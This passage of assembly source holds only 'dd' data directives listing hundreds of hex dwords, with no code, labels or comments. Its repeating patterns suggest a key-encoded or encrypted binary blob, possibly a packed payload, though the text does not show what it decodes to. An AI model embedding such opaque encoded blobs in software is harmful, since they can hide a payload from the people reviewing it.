0AEE425D3h, 365DB153h, 0BF5D3A54h, 5657B135h dd 5123A6C5h, 37C532CAh, 0D8E5B132h, 5675B123h, 56B1353Dh dd 50B4B132h, 9BAEB132h, 0DA0BC64Ah, 0BFABB15Eh, 56D5B120h dd 0D07AB4F6h, 12F3271Ch, 3A32B38h, 3886D180h, 56AE991Bh dd 5657BEDBh, 1A4F4B32h, 0B731D4FFh, 842C152Fh, 56A87A75h dd 5D53B132h, 0C65DB132h, 53A3EF13h, 0B772427Dh, 30CBF2BEh dd 56B479B9h, 8961D132h, 378E3A54h, 564FB132h, 50DBBE32h dd 36AEB132h, 0AEDCD7C7h, 36ABB153h, 56D73E3Dh, 0EBAB132h dd 5674363Dh, 374FB132h, 0D7B50252h, 4A5187EBh, 5657D06Fh dd 56AB44CAh, 56D5BDDBh, 3E084632h, 0C911FCCEh, 9CEB4289h dd 565D4D79h, 9E19BE52h, 5636EF63h, 572DBE32h, 0AFD5B132h dd 0DFE5B132h, 5675B127h, 56BAA1DBh, 610C6732h, 0B3FD8014h dd 0B41CCCE9h, 0EF073246h, 36D5B197h, 0BF8D59B2h, 5675B123h dd 4CC29BF4h, 0FBC59F02h, 8C7932BFh, 3A743649h, 0D4A4D044h dd 56D5B127h, 56EAA1DBh, 0D1BDF732h, 0F5139954h, 8E79A12Eh dd 0F92CC8D9h, 3657B1E1h, 0D7713A54h, 19CDFAFDh, 56EAD031h dd 5675BBDBh, 5CED3032h, 0A83AE519h, 59A3A787h, 5657B0B8h dd 56AB4832h, 56D4333Dh, 5913B132h, 5675B6BCh, 5732BE32h dd 0A35DB132h, 0D0A1B132h, 5657B13Eh, 0F9B40E52h, 966DD529h dd 37F697EDh, 568CB132h, 56BA4832h, 0C8B03152h, 0F77B0B54h dd 3657B153h, 56ABA3DAh, 5C5A2632h, 4FD71141h, 0AAC0AD44h dd 61A743BAh, 0BF718E30h, 56AEB135h, 0C8F4D257h, 0DB8B8C4h dd 37FC5DB2h, 5C03B132h, 2175B132h, 75F30B1h, 0ADF2CB96h dd 5725BE3Ah, 0AE57B132h, 0D0A4B132h, 56D5B13Ah, 56E8323Dh dd 3715B132h, 5D53B132h, 7B5DB132h, 36BB372Bh, 0A99E3156h dd 56ABEA61h, 56D5BCDBh, 34330532h, 0B3BF8269h, 0D1B393DEh dd 565D6763h, 56AF353Dh, 36AFB132h, 56AE303Dh, 0D7B3B132h dd 59F40BEBh, 5675B5B9h, 7703D732h, 565DD038h, 9111BE52h dd 37893A54h, 59CBB132h, 56B46285h, 5764BE32h, 0AF75B132h dd 5A53B132h, 0E25DB132h, 86AE8F0Ch, 84B60260h, 56742EDAh dd 56DD5832h, 4CA8B132h, 5D40CE80h, 56BAE58Fh, 565DB6DBh dd 0AE0B4732h, 6B5042E3h, 0D4A4B132h, 56D5B138h, 9E55BE52h dd 0F96E0089h, 0D7B5D047h, 565DB13Fh, 56AEB9DBh, 0E0BE5B32h dd 0C64543F9h, 59D5B13Bh, 56EABDB8h, 56725832h, 0D7B132h dd 5512242Eh, 36AEB11Ah, 0BF36D152h, 56ABB13Fh, 420563CBh dd 0F11306A1h, 0A3A3A627h, 0E9DCD054h, 563C397Ch, 56AE4832h dd 5650353Dh, 0D7A4B132h, 56D5B133h, 59EAB1C7h, 5675A5B3h dd 5C53D132h, 2E5DB132h, 20B2789Dh, 47C4FF0Bh, 8820D773h dd 0EA6FD153h, 37BF41E6h, 3015B132h, 0DDE8B28Ch, 565DD0F0h dd 1603A52h, 5657A2DBh, 0D21C8932h, 9C9C25BEh, 51FB4E1h dd 0C3F23CDBh, 6941A50Ah, 565DD06Bh, 0A3AEB1CBh, 5657A0DBh dd 747A2832h, 0F4C9040Eh, 25EA269Ah, 21F65C84h, 56BAF633h dd 565DBFDBh, 0BE4F9832h, 27EF07F6h, 0DC7A0027h, 562C87E6h dd 56EA4432h, 371B0752h, 36DAB132h, 37A5EB60h, 0E6CC0A54h dd 0BF57B153h, 56ABB121h, 7DCF6474h, 7A527AF6h, 128BA57Fh dd 4B3982F0h, 56C5D6ECh, 572EBE32h, 0AE57B132h, 0D6A4B132h dd 56D5B12Ch, 56FE5852h, 0B31B132h, 3F0B6C30h, 0FC0E5163h dd 0C31112E0h, 412A3E92h, 0DDCD5C5Ch, 56D5D0CCh, 56EAA3DBh dd 163C6B32h, 2E1FC2Fh, 0E7255665h, 70DE200Ch, 56725AA6h dd 8C1AD132h, 59B5D0CBh, 0E98C6A8Dh, 5614ACF7h, 5853D132h dd 665DB132h, 6E876FB5h dd 458C228Ah, 8A772CECh, 596CD1DFh, 59D9E872h, 5675B1BEh dd 56DBD032h, 565D4D32h, 56A25852h, 0E9F2B132h, 0C78ED255h dd 56D5BF3Fh, 0D78AD330h, 1BCC3DDAh, 376C3A55h, 55D1BE53h dd 36AEB132h, 5657D0CEh, 307D3052h, 0D697B660h, 568B06D6h dd 56754432h, 56BABDDBh, 4A1ECD32h, 0B62D382h, 0CF4B0B68h dd 59ABB113h, 56D5BDB2h, 506FBE32h, 5975B132h, 56BAB1BDh dd 0D052D132h, 56AEB130h, 0DD31EA64h, 56ABD0CAh, 56D5D052h dd 0DDEC0052h, 5675D0FCh, 0BFBAB1CAh, 565DB13Ch, 9E318A08h dd 79D9D584h, 8DF4826Ch, 56D5587Dh, 5561BE52h, 0D675B132h dd 0EDDC0DC7h, 0BF3CC51Ch, 56AEB13Dh, 6B072B99h, 6730707Bh dd 0E4F1C3BCh, 56C00C2Bh, 429DD132h, 0FBBAB132h, 60975B68h dd 5557AA15h, 0BF3D5100h, 94F63504h, 1158420h, 0AF8BEF68h dd 0D37AB132h, 56BAB138h, 8CD6D752h, 7F713054h, 5657D0ABh dd 0AFABB1CAh, 453CB132h, 2FEAB132h, 52658DBDh, 1BF54E67h dd 4E141B7h, 415008F5h, 51BEF6CBh, 68ABB132h, 0CEE2B25Eh dd 56EACD9Eh, 3675B1CAh, 56BAA3DBh, 34A8B32h, 76378C12h dd 9F6EBAE3h, 1CC45A84h, 0D621F079h, 598B6CEDh, 5675BBB2h dd 0EE8D132h, 565D313Dh, 56CFB132h, 56574832h, 56AA313Dh dd 562DB132h, 0D78CD132h, 59E093C0h, 56DB488Dh, 5CD0BE32h dd 36AEB132h, 56573D3Dh, 0FFAB132h, 0BFD5B153h, 56EAB134h dd 0F7CD3700h, 56BA66F2h, 5657363Dh, 30CEB132h, 3098738Ah dd 37ABA98Dh, 0D4DAB132h, 56EAB135h, 56743B3Dh, 5643B132h dd 0D70DD132h, 86DC71F1h, 37ABE920h, 0E8CBB132h, 46281DFFh dd 0DC213054h, 5675D007h, 56BABBDBh, 5F4AFF32h, 0F5355A50h dd 56E58B64h, 131FD132h, 56B464B8h, 5C61BE32h, 3675B132h dd 30F369B2h, 2DFB42B3h, 0A3AEB153h, 0DE58B132h, 56ABB133h dd 0BFD5B1CEh, 56EAB13Eh, 0F1909682h, 0FCB85C3h, 0A3784EF9h dd 36AEB1C7h, 0E55F79B3h, 0AC20C06Eh, 0BFD5B153h, 56EAB121h dd 0D30C452Dh, 93CDE656h, 0CA7D1FC9h, 0DC28D55Ch, 569D72F1h dd 56AB4D32h, 59D5B1CAh, 56EABDBEh, 50F7BE32h, 59BAB132h dd 565DB1B5h, 36AEB132h, 45BE79B9h, 0FFABB132h, 0AB1AA0CBh dd 7C9B36DBh, 0EA0747DBh, 10387766h, 563C5ED3h, 5C46D132h dd 257B132h, 1764944Bh, 44D273A2h, 0E8BD13Ah, 85943054h dd 5643D044h, 56535832h, 167CB132h, 528CF73Eh, 90E34984h dd 0FE20690Ch, 5616B132h, 56754932h, 56BABCDBh, 20204D32h dd 138414AAh, 9A74967Ch, 56AB033Eh, 0C33B3152h, 0A3EAB153h dd 5675A1DBh, 0B79C9632h, 566B7CFDh, 3C064EAAh, 32075AD3h dd 59ABB142h, 56D5BCB5h, 56E25832h, 71ACB132h, 2EC97336h dd 565D5C9Fh, 56B13C3Dh, 0D737B132h, 3ACEC4DAh, 56C75879h dd 40F3B132h, 9D031F0Bh, 761B2900h, 4AE4A43Bh, 0FDB15A74h dd 0AA57B153h, 5652B132h, 56C55832h, 32F8B132h, 523FDF18h dd 99E77AF5h, 37FFE65Bh, 56AE81D3h, 564F353Dh, 4542B132h dd 0FD5B132h, 93FF9CE8h, 0B1833563h, 3CE09C23h, 6F7614C9h dd 0BECE401Bh, 5657B121h, 86618506h, 25E6838Eh, 73D9BDC9h dd 7FEEE813h, 0D7D36EC1h, 324E82E2h, 56CFE90Bh, 0B5D7D132h dd 4A8C0901h, 56B495F1h, 56FA5832h, 0C3ABB132h, 0ACE4354Bh dd 0A36C4182h, 0DA26D7D5h, 5657E16Ah, 56A25952h, 0ECCAB132h dd 0B2FE925Dh, 0BF73B6C4h, 56BAB139h, 5186264Bh, 9B6E4627h dd 9AA0A23h, 0E9A44452h, 56B4D0E1h, 56E55832h, 0FACFB132h dd 5CD39914h, 8611C83Fh, 0FC1D1C3Ch, 0A357B100h, 5F42B132h dd 5CD5B132h, 0AC3D1298h, 0E9BBFDFDh, 5953B132h, 0A55DB132h dd 852F1834h, 49F16E38h, 0E9AB428Eh, 56D5025Ah, 56EB3A3Dh dd 568DB132h, 56BA4932h, 565B58CEh, 0E2B6B132h, 0A236EE2Bh dd 0D7A4B132h, 56D5B134h, 0DC8BD152h, 5675D0ECh, 0AABAB1CAh dd 595DB1CEh, 56AEB0BCh, 56574832h, 56ABA2DBh, 0FB9D5432h dd 0E029BECFh, 0D8466E0Fh, 6A64618Eh, 8FDC5EE3h, 5652B132h dd 51D7BE32h, 59ABB132h, 56D5B0BFh, 56EA4832h, 88F4D752h dd 943A8D2Bh, 303DD069h, 56CF7EB9h, 56505832h, 5338B132h dd 0AF43DA87h, 0BFEAB1C2h, 5675B137h, 0B0F3F993h, 365DB10Ah dd 474765B8h, 0C657B132h, 62FA64C5h, 48C0CD23h, 9C141390h dd 0B12B8F0h, 59BAB153h, 565DA7BFh, 4627BE32h, 0BF57B132h dd 56ABB139h, 88AC3EEEh, 0DF4F7059h, 562DEF00h, 56BA4432h dd 0BF5DB1C7h, 56AEB126h, 6B10D547h, 1FB2D754h, 0EE2F237h dd 63FAA2A7h, 0AD152374h, 56B4313Dh, 5FB4B132h, 7BAEB132h dd 5E2AB74Dh, 23C14508h, 0D1DAB132h, 56EAB13Fh, 5675B9DBh dd 3B193932h, 0C019F3EFh, 36AEB17Eh, 37940E3Dh, 5653B132h dd 56D35832h, 0ED15B132h, 39A70F21h, 0AA46B132h, 50B4B132h dd 2AEB132h, 3CA160B7h, 0BFABB19Dh, 56D5B121h, 0C57E9FC6h dd 0CC759905h, 5F810D95h, 10A3B79Ch, 0A3D47867h, 56A2B132h dd 0DDCDD132h, 56DD59F1h, 0C2FEB132h, 0C8050843h, 51531F17h dd 45DB132h, 0A399075Fh, 370D1B3Fh, 4242B132h, 68D5B132h dd 0ABBD0B85h, 6C767013h, 0F9DBD96Fh, 7CE32ACAh, 56D64572h dd 56574432h, 0FE890A52h, 0D2DAE024h, 56EAB130h, 5614F080h dd 5B52D132h, 0F25DB132h, 88939E31h, 2C0A1DB5h, 0C5DA3F7Ch dd 0F36958B3h, 0AAB5C28Ch, 41F5BE53h, 59BAB132h, 565DA0B9h dd 56A25832h, 0A8F8B132h, 40CF0F7Fh, 6FA4A56Ch, 56EA0975h dd 0BF75B1CAh, 56BAB138h, 3029E629h, 4285FB7Dh, 56574B3Eh dd 36ABB1CAh, 56D5A5DAh, 8317D232h, 0EB6E9A3Dh, 0FC5D796h dd 0BA4C75ABh, 0A8DF229Ch, 97DCD7ADh, 902AD76Bh, 56B476B0h dd 56EA4432h, 789D152h, 8730D06Ch, 365DB153h, 534766B8h dd 0DE57B132h, 0B8FBA404h, 0BFD5B153h, 56EAB121h, 344CA3ECh dd 2791CCC9h, 408FBE34h, 1DE8CD3Eh, 561BE72Fh, 56AC5832h dd 0AF9EB132h, 7B945C61h, 5975B143h, 56BAADB1h, 40D5BE32h dd 0BFAEB132h, 5657B123h, 942E96A2h, 54619A98h, 0BDA0BE3Ch dd 0CF7F8C71h, 56AE58A5h, 34C9B132h, 48B0683Ah, 0E914FC47h dd 267E8547h, 0B0014B88h, 56EA322Fh, 567548CEh, 36BAB1CEh dd 0DCA3063Dh, 59CED0EBh, 0D731468Dh, 378EB6C4h, 5620B132h dd 765FD132h, 5675D0CEh, 59BAB1C7h, 565D9DB7h, 5D47D132h dd 9057B132h, 0DCD9BD3Eh, 0BDEF2805h, 42028DA1h, 6275B132h dd 0ABDB9795h, 1351E4E9h, 8A1B4DC2h, 428155C6h, 0EAEFB7Bh dd 36D5B153h, 0D9E562B9h, 5675B131h, 37AE7FB2h, 59B4B132h dd 0FAEB132h, 7E257BBCh, 0C64C9C7h, 0DCD19EA6h, 56EAF55Bh dd 56754DCAh, 56AC393Dh, 0D152B132h, 56AEB122h, 5657BADBh dd 0A192F032h, 56314F86h, 48995934h, 0D27AB132h, 56BAB123h dd 565DBDDBh, 0AA719132h, 8A511D28h, 0DF288E4Dh, 0BFD5B182h dd 56EAB13Ah, 0E8B6E672h, 0C4473FB0h, 928A3052h, 3792042Dh dd 0DA58B132h, 56ABB13Eh, 296FD752h, 566BBE91h, 3775B132h dd 0BFDAB132h, 565DB120h, 0F2E0012Ah, 0C0A237CBh, 0E7AA88A1h dd 62F32157h, 568B2B3Eh, 56754832h, 56BAB6DBh, 5FE82232h dd 0F69B4362h, 37AE3B52h, 565EB132h, 56C55832h, 15EBB132h dd 0B6AB9DE1h, 0B5325254h, 7AF3FE38h, 0D0A11E59h, 5657B12Bh dd 56B83E3Dh, 583CB132h, 0F1EAB132h, 0A3A3A627h, 240C9F54h dd 5EEA7D4Eh, 36AEB1A6h dd 8560854h, 0AFABB153h, 56D5B8DBh, 0BE826F32h, 509D12A7h dd 56BA7932h, 5642353Dh, 0D0A1B132h, 5657B12Bh, 56ABA5DBh dd 2C396C32h, 0CBC41E15h, 5DF2629Eh, 0BCC89DD5h, 0DD121C20h dd 56A7584Eh, 532EB132h, 0B8177D01h, 56444048h, 56FA5832h dd 740CB132h, 7C141426h, 24FD3322h, 0EDF32E04h, 5657FB8Bh dd 56ABA1DBh, 817F5732h, 2942EB09h, 0CB68A159h, 0F883A72Bh dd 5ED7BE44h, 36AEB132h, 4E6A0F54h, 56CAD052h, 515BBE32h dd 59EAB132h, 5675B0B5h, 0E6DA4432h, 0D73BE294h, 93B1BE9h dd 3657B153h, 37743A52h, 373E58B2h, 5A03B132h, 0B275B132h dd 0E0457789h, 2C8D89A3h, 560F3371h, 5ED3BE32h, 59ABB132h dd 56D5B3B3h, 368BD132h, 5675BCDAh, 94BFBF32h, 0DF6CED18h dd 0BF151CF4h, 60E4A5B7h, 56A45968h, 5CD2B132h, 0A5BEE649h dd 0C36DC9AAh, 292CB861h, 9DE2BE3Bh, 56AED068h, 56413E3Dh dd 4742B132h, 26D5B132h, 0A0187259h, 64E27BE7h, 0BF67DBBEh dd 0A1F3495h, 0D4A1B132h, 5657B139h, 27753052h, 59B9C06Dh dd 568B6B8Dh, 56754832h, 59BAB1CBh, 565DA2B8h, 5B26BE32h dd 0BF57B132h, 56ABB13Ah, 0BE9C0346h, 583E334Eh, 0D97AB132h dd 56BAB13Ch, 565DB8DBh, 0A2294732h, 7EFF7CD3h, 56AB7199h dd 56D5A1DBh, 3EE8E732h, 5E92562Eh, 517DE116h, 9FE718F3h dd 36AEB103h, 56362580h, 5D2FBE32h, 36D5B132h, 9C480E54h dd 6C312C8Bh, 56BAD005h, 0DA803152h, 8C25D752h, 0BCD0F54h dd 56ABD053h, 30D80152h, 3723338Ah, 449CB132h, 0A4BAB132h dd 479FB392h, 0CBB903D0h, 13A24E29h, 2B5CF9BDh, 59D5B17Dh dd 56EAB9B9h, 54FBBE32h, 36BAB132h, 56555853h, 8D57B132h dd 63870823h, 56ABBA34h, 56D5BADBh, 0E4E7BC32h, 0FDCD117Ah dd 0EC36D3C2h, 0BF5DB1CAh, 56AEB139h, 9E6F6848h, 201EEFEBh dd 565F1792h, 8658D132h, 5675D0CAh, 56BABADBh, 0B13AA32h dd 0B2CD29A6h, 1222FE25h, 0A52AD752h, 56B45030h, 0D4E54932h dd 5675B13Eh, 56BC3C3Dh, 0DA52B132h, 56AEB132h, 0D558B132h dd 56ABB12Bh, 56D95852h, 4DBB132h, 1F7DC3D8h, 945DE094h dd 0D952F1F6h, 56AEB132h, 0A357B153h, 56A2383Dh, 0E0B5B132h dd 0EBD30A52h, 5614E7E9h, 5235BE32h, 365DB132h, 56CF48B9h dd 56AF4D32h, 5C20BE32h, 36D5B132h, 303A063Dh, 42197AB3h dd 0BFBAB153h, 565DB138h, 2288E12Fh, 0AABA8815h, 56ABC0B2h dd 0B86FD752h, 8161D11Ch, 5614D0CEh, 4239BE32h, 0BF5DB132h dd 56AEB13Dh, 5ED00B35h, 0E7241576h, 9388E839h, 0BF25441Bh dd 5675B126h, 0ED5EB606h, 0C7EB4EF4h, 15D4610Ah, 6F7D10B0h dd 0BF893DB8h, 0BFB5B132h, 56EAB139h, 80FC10E1h, 0A9880D5h dd 30A7537Bh, 370F1D8Bh, 42BEB132h, 0ABABB132h, 568D6D4Bh dd 64433858h, 9A9F1D0Ch, 11741517h, 561033C5h, 4527BE32h dd 0BF57B132h, 56ABB13Ch, 597FFF2Ch, 0FCC7D084h, 0A62428DEh dd 56BA649Ah, 0A873152h, 56A8343Dh, 0DC58B132h, 56ABB132h dd 0E1DAD153h, 8C61D7F4h, 3675B153h, 56BABEDBh, 0D876C532h dd 35080A36h, 0ED3A1828h, 880D5D9Bh, 0AED5B153h, 5003B132h dd 0DC75B132h, 0A5A8F9F6h, 565D49ACh, 59D80652h, 5657B3B7h dd 37CAD132h, 583CB132h, 50EAB132h, 799B5A15h, 0E424B60Ch dd 181D3589h, 0BFAEB186h, 5657B137h, 6E49D6EAh, 56DB5839h dd 0D56BB132h, 0AC827E19h, 2C9161DDh, 81D9513Eh, 0DBA1B132h dd 5657B121h, 56ABBFDBh, 9E579932h, 0FDAE9C91h, 1EA8723Eh dd 0BFAB5F07h, 565DB120h, 0A345B58Ch, 0E03DA66Bh, 0FE490664h dd 2D3518E5h, 56EA3087h, 567D373Dh, 0D7DAB132h, 0B3560CC3h dd 0D1A1D024h, 5657B13Ah, 56A93F3Dh, 37B5B132h, 598AB132h dd 5675B0B6h, 8C3A4432h, 565DD071h, 59AEB1CAh, 5657A6B9h dd 56B95832h, 430EB132h, 0A266251h, 0CB2C7A81h, 934B378Fh dd 0D349A87h, 0D3A1B132h, 5657B120h, 56A25852h, 0E9CCB132h dd 1F82C4F9h, 36DA0F74h, 56BAD053h, 565DB8DBh, 78CCFB32h dd 82C6EB08h, 56AB84E5h, 56D5B8DBh, 79DF5A32h, 42CA2DADh dd 56BA8DD2h, 0BF5DB1CEh, 56AEB120h, 0E68A8A02h, 9827E76Fh dd 0EEBD7FCDh, 0C5E01E11h, 5675451Fh, 0B73BD752h, 0E83B1F19h dd 56CFAF5Fh, 56585832h, 5FA6B132h, 0F35C0FAAh, 403D6EF3h dd 0EB21384Dh, 0BFBAB145h, 565DB126h, 4BA78962h, 19663B2Eh dd 0D0271F5Dh, 0C12650D0h, 0C423E97h, 5B9CB132h, 86BAB132h dd 0CB1AB5F8h, 0A8AD5439h, 0C050B70Bh, 4626BE52h, 0BFD5B132h dd 56EAB139h, 2AF4F95Bh, 3E240C57h, 0BE3E0C9Ah, 56AEB132h dd 82BD3068h, 36AC57A5h, 0DEDAD1CEh, 56EAB132h, 3714D052h dd 0DD783A52h, 0D3D0D0F5h, 514B3A08h, 565A5852h, 8F4DB132h dd 0C6B2D72Eh, 803C37BAh, 0E8E34ED4h, 11ACDB9Bh, 59DF3853h dd 36A9574Dh, 5652353Dh, 9C13B132h, 0D6D63A11h, 0DB8BC2F6h dd 0B1E3C7B0h, 56B25835h, 3A0DB132h, 78A70A3Fh, 0D4DEEEE5h dd 514DCE1Dh, 9854D752h, 0BF6AFC5Bh, 0D49DD056h, 0BFBAB105h dd 565DB138h, 0E56B4E99h, 370629F0h, 4F43BD04h, 0AAD5B130h dd 289433F5h, 5675B6D4h, 0DDB5B132h, 565DB126h, 56AEBEDBh dd 3A1F5F32h, 0B4331C57h, 70CBC081h, 0FFE64848h, 56743E3Dh dd 44FB132h, 0FD877CBh, 0A95135h, 0EE05D9CAh, 0A9572D9Ah dd 0B6FC9C87h, 5069BE35h, 3675B132h, 37DAD052h, 0D3D04453h dd 514DCEDAh, 5657B8DBh, 41630732h, 0E97D2B21h, 5C036BB2h dd 2A75B132h, 4CC9950Bh, 388B1F6Bh, 0BF7E4E8Ch, 5657B135h dd 0AD293C60h, 0DF3A0E6Fh, 0B6F704B7h, 521F4D35h, 46BAD9CEh dd 0DF52B132h, 56AEB13Bh, 30AB3B52h, 0D2616FB3h, 5B95D953h dd 0D0E5B131h, 5675B137h, 0AADBD152h, 58D9BE53h, 36AEB132h dd 5657373Dh, 0D0A4B132h, 56D5B132h, 36EADB53h, 59A54E53h dd 56BABEB9h, 56575832h, 0EA93B132h, 0FB1C075Bh, 7DD2539Ch dd 56D25852h, 0C772B132h, 779BF438h, 0B303D7FEh, 5907D0A2h dd 56AEB5BEh, 94DCD132h, 596BBA53h, 56D56EB6h, 0D78CD132h dd 0AFCCB4C2h, 5337BE53h, 365DB132h, 37563A54h, 282933BBh dd 4642B6D4h, 0CCD5B132h, 8A23DEB2h, 0F6418B7Ah, 0DC2BA9C6h dd 0DF1D6EA6h, 0B0D023B0h, 56475835h, 647CB132h, 193CFEh dd 0AA0EDBCFh, 0D92E6F1Bh, 1603033Ch, 0AE5DB23Fh, 0DFA149B9h dd 5657B122h, 56ABBADBh, 9E0D0A32h, 93C404Bh, 8B77EC76h dd 53537101h, 0BC5DB132h, 7D79EB4Ah, 0DE581BC1h, 56ABB135h dd 56D4343Dh, 412B132h, 5675B9DBh, 0E13F7B32h, 0A988DCF9h dd 59AADBFDh, 5657B0BFh, 56C34832h, 0A3D5B122h, 56EEB15Ah dd 5C9CD132h, 7ABAB132h, 0ADBAC16Ah, 2D6B4632h, 809531CAh dd 0AFABDB53h, 4B6023CDh, 0C16B6D2h, 567A343Dh, 5C53B132h dd 125DB132h, 0FFFB97D1h, 53C283C4h, 0D5293835h, 0AFD257B3h dd 8F6AD153h, 54F0BE08h, 0DDBAB132h, 0D3D6D0E3h, 5148CF4Ch dd 593772CBh, 56ABB7B9h, 5659BE32h, 0D7EAB132h, 0CAA4F7DAh dd 0D5B5D07Ah, 565DB13Ah, 56AC3D3Dh, 3737B132h, 0D46C4452h dd 5135A8CBh, 56AAB132h, 5675B7DBh, 68A5E932h, 91F36345h dd 0B6BF20B0h, 5647B135h, 36CA4432h, 0DDB36BB9h, 0AE29D0E2h dd 5BF7BE52h, 0BFBAB132h, 565DB13Ah, 0C23E124Fh, 7512209Fh dd 28D50BB9h, 0D4DAB6D4h, 56EAB13Ah, 5677343Dh, 37DAB132h dd 595D8EB1h, 56AE77B6h dd 51D4BE32h, 59ABB132h, 56D5B0B1h, 29694D32h, 0D27AB322h dd 56BAB17Bh, 565C323Dh, 0AE56B132h, 5247CEB1h, 56C0353Dh dd 0D52DB132h, 598AA5F5h, 5675A2B0h, 56B45832h, 3CBAB132h dd 0D699EAD4h, 4F096410h, 0F86013E3h, 371C063Dh, 0A91516DBh dd 567E58CDh, 504EB132h, 15222166h, 0CCD349C3h, 461076C0h dd 56ABB133h, 56DD383Dh, 0DFE5B132h, 5675B130h, 0E653D052h dd 0BFA24ECDh, 56AEB135h, 95D5B4FCh, 0BF2FD709h, 56D5B13Bh dd 0A3529BB4h, 24AD44BAh, 46FD762Ch, 565DB131h, 56AEB4DBh dd 72274E32h, 0D642DC0Ah, 362A4ECDh, 56EAA1DBh, 0A36D6932h dd 9DED29DAh, 0C603CBFFh, 0C4368CABh, 3CB40920h, 37CA9F5Fh dd 56D25852h, 0F4CEB132h, 2A17B112h, 8D3BD76Eh, 953CB11Bh dd 56BF5952h, 0A140B132h, 410D160h, 9BF5F40Eh, 683473C3h dd 59B2AF92h, 37E0488Dh, 0EF3BD167h, 0E9A1664Ch, 0BADCD0E5h dd 5C42D1C7h, 1DD5B132h, 485C1358h, 98667A2Fh, 56BA5906h dd 0D707B132h, 0B0355FD8h, 0D3584835h, 56ABB120h, 56D5BCDBh dd 52AF5932h, 15D82F5Ah, 0D8CF88EDh, 0BF3DA5DCh, 56AEB13Ah dd 0F141BE38h, 0D2EBABDAh, 0DDB442B9h, 0B06B0080h, 13FE4935h dd 56B0583Ah, 8C80B132h, 9916055Bh, 54D11DA8h, 59CBB7BBh dd 0DBDA798Dh, 56EAB137h, 0ECA63054h, 0D439D0A4h, 51BB3083h dd 56BF5836h, 0E03FB132h, 0DA0D0B76h, 2740F70Ch, 30A379FAh dd 37856BF8h, 6D3B52h, 3707D052h, 56A9333Dh, 0D958B132h dd 56ABB133h, 942078CAh, 5003B136h, 8E75B132h, 49B8D7Ch dd 59A5D148h, 56AEADB5h, 44BED132h, 5CABB132h, 8C788E3Bh dd 9463A42Bh, 573279B4h, 0E0F89685h, 95D6D7CCh, 56AE5953h dd 0D70DB132h, 0B03707D8h, 5E3CD135h, 0F2EAB132h, 2BEEBC7Eh dd 30777BB9h, 374A138Ah, 9725D752h, 0DD3645B8h, 0B02A3280h dd 0E4EE4935h, 510C3083h, 57BE353Dh, 0DDDAB132h, 37AC3AE2h dd 0BFCE8FB9h, 5657B126h, 0A4D99500h, 0EC1DB29Dh, 320BBCD0h dd 726CC01h, 0AACDA998h, 0AF823A53h, 57E1073Dh, 5650353Dh dd 0D6A4B132h, 56D5B133h, 57AD47C7h, 9F0BEB2h, 0BFBAB132h dd 565DB121h, 3D98D7BFh, 68371EEBh, 2D3DDC00h, 0D7D02661h dd 59D3D325h, 5675A5B0h, 9EAD132h, 565DBADBh, 7CEF1832h dd 0A07779EBh, 1BC119h, 0BF0CB253h, 56EAB13Ah, 0FF16BA41h dd 85CF6D36h, 565DB7DBh, 0CC2CA332h, 0BF007113h, 56ABB128h dd 0D60A3A52h, 368B22E6h, 0ACF21689h, 8F91D034h, 98D6D752h dd 5BF6F68Ch, 0BF14D014h, 56ABB13Dh, 6BCF3E15h, 63DE24E9h dd 0B58E300h, 15D95883h, 56565952h, 60A8B132h, 0A68C3F9h dd 0A0167C86h, 56C459DCh, 3462B132h, 7B8AB246h, 1D34399Ah dd 3EC02357h, 8CC2193h, 56505969h, 0D57CB132h, 0D18AFE13h dd 9D6BD765h, 372DD6C9h, 64B334B9h, 5BB4B6D2h, 18AEB132h dd 5B480CDEh, 4031688Eh, 0A1693236h, 0DF673ACAh, 0A3725121h dd 56B6383Dh, 0D552B132h, 56AEB134h, 56573C3Dh, 8E90B132h dd 56E8333Dh, 6D16B132h, 62F2BEEBh, 0BFBAB132h, 565DB13Bh dd 755E63EBh, 0BA3905D5h, 526D32EFh, 56D9333Dh, 0D7E5B132h dd 5675B134h, 56BA363Dh, 0DDB4B132h, 59514ECCh, 5657B7BCh dd 0EDCDD132h, 6DB4DC3Fh, 186EBEFDh, 5975B132h, 56BAB0B0h dd 0EBD44D32h, 514EA2BBh, 0A80A58CAh, 0BECB4ECDh, 56D5B122h dd 9C21DF9Fh, 5391083Fh, 3ED98DC2h, 0D237ACC5h, 56AEA5DBh dd 3FFC7E32h, 86C150E9h, 0EBC94FAEh, 475D2A7Dh, 0ADAD252Fh dd 0E7DAEE01h, 56D0BED2h, 37AEB132h, 0DA58D053h, 56ABB13Fh dd 56D5B9DBh, 0EE09A732h, 0B87CCA26h, 0D9B572AFh, 565DB13Ch dd 56AEB8DBh, 30FDAE32h, 18C60BE7h, 0BFB5678Dh, 56EAB139h dd 733D5C3Fh, 94A4F1Ah, 0BEE21E4Ch, 56AEB132h, 0A2BD3068h dd 0BFAC57ACh, 56D5B13Fh, 0A3683EADh, 37529D58h, 1C52069Eh dd 565558CCh, 0ED35B132h, 300D803Dh, 0EC200377h, 513330B1h dd 56EABFDBh, 8FA30232h, 514A07DEh, 196FB162h, 0EFB05154h dd 5657B032h, 596B82C7h, 56D5B9B4h, 5469BE32h, 3675B132h dd 0BF114253h, 565DB13Ah, 0D7CA8E38h, 0EA151472h, 0D72833B9h dd 0DF2CB6D4h, 0B06B00B0h, 57F2BE35h, 0A3BAB132h, 564F5853h dd 0B87B132h, 74C3DEE7h, 164DD053h, 6AFEA3E2h, 0EEAC9ADEh dd 5AFBBEF1h, 59BAB132h, 565DB7B5h, 562FBE32h, 0AA57B132h dd 56A55852h, 0DC37B132h, 803F5B35h, 49DF0F29h, 518DB962h dd 565DB1DAh, 0BC2FEB32h, 51B12E83h, 0F8D1CEh, 8454E869h dd 0E93B259h, 0FF07753h, 0BD5135h, 565DA0DBh, 0A6E9F032h dd 32B13C3Ch, 78BC8C8Ch, 0BC3503E7h, 6F82F20Ah, 59A1AE5Fh dd 56BAA2B0h, 56535832h, 0C902B132h, 44242D81h, 7A5EC58Eh dd 0FA323AAAh, 56E1343Dh, 3015B132h, 0BF3B43B9h, 76986AAEh dd 7B1B4E53h, 5950511Bh, 56ABB0BCh, 0DB2C4D32h, 0B59559B7h dd 56615835h, 7D8FB132h, 9EC4A4DBh, 5D0C2052h, 0C9A5B3C2h dd 5F78FF4Bh, 862A9824h, 5003E3CBh, 3275B132h, 0BC856151h dd 0AF0D444Fh, 562EB15Ah, 45D1BE32h, 36ABB132h, 56D5BADAh dd 0EAF65E32h, 0B50A41ECh, 25C5B181h, 5637D06Dh, 8125D752h dd 56DDBE62h, 0CABB132h, 28674E53h, 36ED574Ch, 566C323Dh dd 4552B132h, 0F55DB132h, 0A296C429h, 1C7B6EA2h, 2E411138h 